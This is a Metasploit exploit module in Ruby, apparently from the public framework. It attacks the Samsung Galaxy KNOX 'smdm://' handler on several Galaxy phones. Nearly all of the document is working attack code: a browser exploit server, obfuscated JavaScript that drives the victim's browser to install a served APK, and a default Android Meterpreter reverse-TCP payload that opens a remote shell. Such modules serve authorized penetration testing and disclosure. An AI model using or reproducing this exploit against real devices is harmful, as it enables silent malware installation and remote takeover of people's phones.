This Metasploit module exploits a vulnerability that exists in the KNOX security component of the Samsung Galaxy firmware that allows a remote webpage to install an APK with arbitrary permissions by abusing the 'smdm://' protocol handler registered by the KNOX component. The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3, and Ace 4.
03a3f71c2c2fa9fd0b119371b2d55e432974a0922073ac802b493949e3fd1f34##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'digest/md5'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::BrowserExploitServer
# Hash that maps payload ID -> (0|1) if an HTTP request has
# been made to download a payload of that ID
attr_reader :served_payloads
def initialize(info = {})
super(update_info(info,
'Name' => 'Samsung Galaxy KNOX Android Browser RCE',
'Description' => %q{
A vulnerability exists in the KNOX security component of the Samsung Galaxy
firmware that allows a remote webpage to install an APK with arbitrary
permissions by abusing the 'smdm://' protocol handler registered by the KNOX
component.
The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3,
and Ace 4.
},
'License' => MSF_LICENSE,
'Author' => [
'Andre Moulu', # discovery and advisory
'joev' # msf module
],
'References' => [
['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'],
['OSVDB', '114590']
],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Nov 12 2014',
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:os_name => OperatingSystems::Match::ANDROID
}
))
register_options([
OptString.new('APK_VERSION', [
false, "The update version to advertise to the client", "1337"
])
], self.class)
deregister_options('JsObfuscate')
end
def exploit
@served_payloads = Hash.new(0)
super
end
def apk_bytes
payload.encoded
end
def on_request_uri(cli, req)
if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/
if req.method.upcase == 'HEAD'
print_status "Serving metadata..."
send_response(cli, '', magic_headers)
else
print_status "Serving payload '#{$1}'..."
@served_payloads[$1] = 1
send_response(cli, apk_bytes, magic_headers)
end
elsif req.uri =~ /_poll/
vprint_debug "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}"
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
elsif req.uri =~ /launch$/
send_response_html(cli, launch_html)
else
super
end
end
# The browser appears to be vulnerable, serve the exploit
def on_request_exploit(cli, req, browser)
print_status "Serving exploit..."
send_response_html(cli, generate_html)
end
def magic_headers
{ 'Content-Length' => apk_bytes.length,
'ETag' => Digest::MD5.hexdigest(apk_bytes),
'x-amz-meta-apk-version' => datastore['APK_VERSION'] }
end
def generate_html
%Q|
<!doctype html>
<html><body>
<script>
#{exploit_js}
</script></body></html>
|
end
def exploit_js
payload_id = rand_word
js_obfuscate %Q|
function poll() {
var xhr = new XMLHttpRequest();
xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999);
xhr.onreadystatechange = function(){
if (xhr.readyState == 4) {
if (xhr.responseText == '1') {
setTimeout(killEnrollment, 100);
} else {
setTimeout(poll, 1000);
setTimeout(enroll, 0);
setTimeout(enroll, 500);
}
}
};
xhr.onerror = function(){
setTimeout(poll, 1000);
setTimeout(enroll, 0);
};
xhr.send();
}
function enroll() {
var loc = window.location.href.replace(/[/.]$/g, '');
top.location = 'smdm://#{rand_word}?update_url='+
encodeURIComponent(loc)+'/#{payload_id}.apk';
}
function killEnrollment() {
top.location = "intent://#{rand_word}?program="+
"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";
setTimeout(launchApp, 300);
}
function launchApp() {
top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
}
enroll();
setTimeout(poll,600);
|
end
def rand_word
Rex::Text.rand_text_alphanumeric(3+rand(12))
end
end
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